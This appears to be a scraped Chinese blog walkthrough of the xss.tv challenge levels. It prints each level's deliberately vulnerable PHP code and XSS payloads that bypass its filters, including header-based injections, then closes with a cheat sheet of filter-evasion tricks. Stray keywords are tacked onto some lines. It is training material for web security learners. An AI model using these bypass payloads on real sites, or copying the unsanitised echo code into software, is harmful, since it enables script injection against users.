1.6 xss挑戰平臺練習

-------------------------javascript

XSS挑戰之旅php

-------------------------html

最近在學習xss,找到了一個xss練習平臺,在線地址:http://test.xss.tv/java

實驗環境也能夠本地搭建,不過須要php+mysql的環境:mysql

xss通關小遊戲:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA   密碼:85g8angularjs

我這裏使用本地搭建,方便分析代碼,安裝好的頁面以下:ajax

 

Level 1:sql

分析一下源代碼中的判斷xss的代碼:api


<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎用戶".$str."</h2>"; ?>

根據代碼發現,變量$str從url接受一個get類型的name參數,而且沒有對傳入的name參數進行任何過濾cookie

直接echo出來,咱們能夠直接構造任意可彈窗payload,

這裏使用最基本的:<script>alert(1)</script>,也可使用 <svg/onload=alert(1)> 等...

 

成功過關!

 

Level 2:

 

從圖中能夠看出這是一個典型的搜索框xss,

分析一下源代碼中的判斷xss的代碼:


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>

分析代碼,仍然是使用get方法,從url中接受一個keyword參數,不過這裏用到一個過濾函數htmlspecialchars()

這個函數把預約義的字符轉換爲 HTML 實體,等於<不能用,這時候一種方法是黑名單繞過,就是不使用被過濾的符號,使用js的事件:

payload :  " onclick=alert(1)這樣須要點擊一下輸入框<br>

                " onmouseover=alert(1)>須要鼠標劃過輸入框<br><br>

另一種方法就是在構造payload就要將input的文本框本分提早閉合,不影響咱們彈框代碼,

我這裏使用  "><script>alert(1)</script>

這樣的話 : <input name="keyword" value="  "><script>alert(1)</script>"

這樣value="  ",不會檢查咱們的彈窗代碼

成功過關!!!

 

Level 3:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

分析代碼發現跟上面大同小異,不過過濾更加嚴格了,特別是value='".htmlspecialchars($str)."'發現

上題嘗試閉合<"">構造<script>彈窗方法失效了,應爲value中的<被轉義了,只能利用上題中的js時間

來構造彈窗,不過這裏須要用單引號閉合,構造payload :  ' onmouseover=alert(1)//

這樣的話: <input name=keyword value='  ' onmouseover=alert(1)// '>

 

闖關成功!!!

 

Level 4:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

這裏咱們看到,咱們傳入進去的值又通過了兩個函數的參與。
函數說明:
Str_replace(">", " " ,$str),此函數將變量str中的字符>轉換爲空,轉換時區分大小寫。同理將<裝換爲空,

而後在通過htmlspecialchars()函數,將一些預約義符號轉換爲html實體。

經過這幾個函數的過濾轉化,咱們前三關的payload確定對不能用的。因此接下來咱們須要作的就是,

在沒有符號「<>」的狀況下,而且語句不被htmlspecialchars()函數影響的狀況下構建payload。

因此咱們在這裏能夠構造一個輸入到文本框後出現相應的事件。咱們的payload:
" onfocus=alert(1) autofocus="

" onclick=alert(1) //
這樣咱們輸入的payload沒有被函數過濾,而且通過htmlspecailchars()函數轉換並不影響最 input文本框。因此輸入後文本框內容就變成了:

<input name=keyword value=" " onfocus=alert(1) autofocus=" " >

<input name=keyword value=" " onclick=alert(1) //">


Onfocus事件:定義的事件將在對象得到焦點時觸發,這裏指input標籤得到焦點。
Autofocus屬性:input標籤的屬性,當頁面加載input標籤,自動得到焦點。
焦點:這裏指你的光標的位置,也就是說當你的光標出如今input文本框這裏,將進行onfocus事件的發生。

 

 Level 5:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代碼發現,$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); 就直接把

<script 轉換成 <scr_ipt ,on轉換成 o_n ,這樣就過濾了js事件,$str = strtolower($_GET["keyword"]);這樣

大小寫繞過也失效,不過此次沒有過濾尖括號<>,這裏使用僞協議來構造payload:

"><iframe src=javascript:alert(1)>

"> <a href="javascript:alert(1)">bmjoker</a>

"> <a href="javascript:%61lert(1)">bmjoker</a> //

這樣的話: <input name=keyword value="  "><iframe src=javascript:alert(1)>">

<input name=keyword value="  "><iframe src=javascript:alert(1)>">

闖關成功!!!

 

 Level 6:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代碼,發現一樣過濾了不少字符,<script 轉換成 <scr_ipt ,on 轉換成 o_n ,src 轉換成 sr_c ,

data 轉換成 da_ta,href 轉換成 hr_ef,比起上一關,發現這裏沒有大小寫約束, 咱們能夠構造payload:

"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">bmjoker</a>//

"><svg x=" " Onclick=alert(1)>

"><ScriPt>alert(1)<sCrIpt>"

" OncliCk=alert(1) //

成功過關!!!

 

 Level 7:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代碼,不只大小寫不能用了,script,on,src ,data ,href 都直接轉換成空,

嘗試雙寫繞過,構造payload:

"><sscriptcript>alert(1)</sscriptcript>

" oonnmouseover=alert(1)

"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>

闖關成功!!!

 

 

 

Level 8:

 

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情連接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情連接</a></center>';
?>

分析代碼,<script 轉換成 <scr_ipt ,on 轉換成 o_n ,src 轉換成 sr_c ,data 轉換成 da_ta,href 轉換成 hr_ef,

大小寫也失效了," 還被編碼,可是尖括號<> ,單引號 ' ,% ,# ,& 符號沒有被過濾,輸出點在a標籤內,href屬性中,

屬性中雙引號被轉換成HTML實體,沒法截斷屬性,咱們可使用協議繞過javascript:alert,因爲script關鍵字被過濾,

javascript會被替換成javasc_rpt,咱們使用&#x72來代替r ,HTML字符實體轉換:https://www.qqxiuzi.cn/bianma/zifushiti.php

,僞協議後面可使用URL編碼等進行編碼。構造payload:

javascrip&#x74;:alert(1)

javascript:%61lert(1)

javasc&#x72;ipt:alert`1`

javasc&#x0072;ipt:alert`1`

成功過關!!!

 

 

Level 9:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情連接 />
</form>
</center>';
?>
<?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的連接不合法?有沒有!">友情連接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情連接</a></center>'; }
?>

分析代碼,發現跟上個挑戰大同小異,不一樣的是多了本身自動檢測url,若是發現沒有帶http:// 內容則會顯示不合法,

構造payload:

javascrip&#x74;:alert(1)//http://xxx.com  //利用註釋

javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)  //不利用註釋

javascrip&#x74;:%0ahttp://xxx.com%0daalert(1)  //不利用註釋

闖關成功!!!

 

 

Level 10:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,發現須要兩個參數,一個是keyword,一個是t_sort,尖括號<>都被轉換成空,還有三個hidden的隱藏輸入框,

或許咱們能夠從隱藏的輸入框下手,構造payload:

keyword = test&t_sort="type="text" onclick = "alert(1)

keyword = test&t_sort="type="text" onmouseover="alert(1)

keyword = test&t_sort="type="text" onmouseover=alert`1`

這樣的話:<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">

構成一個js的點擊彈窗事件:

闖關成功!!!

 

 

 Level 11:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,發現比起上一個挑戰來講,多了一個 $str11=$_SERVER['HTTP_REFERER']; 考察的是http頭部的

xss注入,開始抓包,burp修改相應的字段,構造http頭部Referer的payload:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burp抓包,改Referer頭:

forward發包

闖關成功!!!

 

 

Level 12:

 

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,此次換成了 $str11=$_SERVER['HTTP_USER_AGENT'];  應該是User-Agent的http頭部注入,

burp抓包,構造http頭部User-Agent的payload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

burp抓包,改User-Agent頭:

forward發包:

闖關成功!!!

 

Level 13:

 

分析一下源代碼中的判斷xss的代碼:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,此次換成了 setcookie("user", "call me maybe?", time()+3600);  應該是cookie類型的xss注入

直接構造payload:

Cookie: " onmouseover=alert(1) type="text"

Cookie: " onclick="alert(1) type="text"

burp抓包,改cookie:

 

forward發包:

 

 

Level 14:

....level14崩了,咱們看一下大佬的payload:

  "><img src=1 onerror=alert(1)>

百度得出答案,這裏用的是烏雲爆出的exif viewer的漏洞,漏洞原理是經過修改圖片的exif信息,

形成解析圖片exif觸發XSS。利用工具推薦exiftool。之後看見上傳果斷又一個姿式啊。

修改圖片exif信息如標題,做者。

 

Level 15:

分析一下源代碼中的判斷xss的代碼:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,本身想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

分析代碼,這一關考的angular js的知識,稍微百度一下相關知識,發現ng-include有包含文件的意思,也就至關於php裏面的include

發現能夠包含第一關的頁面,構造payload:

 src='level1.php?name=<img src=x onerror=alert(1)>'

emmm......

 

Level 16:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

分析代碼,發現大小寫繞過失效,script ,  / ,   ,等都被轉換成&nbsp,咱們能夠用%0d,%0a等繞過:

構造payload:

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

<svg%0aonload=alert`1`></svg>

闖關成功!!!

 

 Level 17:

 

分析一下源代碼中的判斷xss的代碼:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

剛開始覺得是Flash XSS,仔細一看發現不是,使用了htmlspecialchars進行實體編碼,和第三關就同樣了,使用on事件。

構造payload:

arg01=123&arg02= onmouseover=alert(1)

arg01=123&arg02=%20onmousedown=alert`1`

arg01=123&arg02=  onmouseover=alert(1) type="text"

闖關成功!!!

 

 

 Level 18:

分析一下源代碼中的判斷xss的代碼:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

分析代碼,發現徹底能夠用上一挑戰的方法,payload如上

 

 

 Level 19,20:

 Flash xss沒了解過...等之後學到再回來更新吧...

 

 

XSS繞過經常使用方法

一、大小寫繞過

<ScRIpT>alert('123')</sCRIpT>

二、編碼繞過

  • 1.十六進制編碼
  • 2.jsfuck編碼
  • 3.url編碼
  • 4.unicode編碼

<0x736372697074>alert('123')</0x736372697074>

<img src="1" onerror="alert&#x28;1&#x29;">

三、繞過magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

四、標籤

閉合標籤

"><script>alert(/123/)</script>

</script><script>alert(1)</script>

標籤繞過

<img src="x" onerror="alert(1)">

<button onclick="javascript:alert('xss')>XSS</button">

<title><img a="</title><img/src=1 onerror=alert(1)//">

"onsubmit=javascript:alert(1)%20name="a

<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$('body').prepend(123);$('body')></video>

五、其餘符號繞過

%0a         替換空格

%0d         替換空格

/**/          替換空格

%00          截斷

``              替換括號

六、雙字符繞過

<img ononerrorerror="123">

<script>alalertert(123)</script>

七、寬字節繞過

  • gbxxxx系列的編碼,那麼咱們嘗試一下寬字節  %c0,%bf,%5c,%df

八、其餘事件繞過

onload

onclick

onerror

prompt

confirm

onmousemove

九、CRLF injection繞過

CRLF是」回車 + 換行」(\r\n)的簡稱。

http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

相關文章
相關標籤/搜索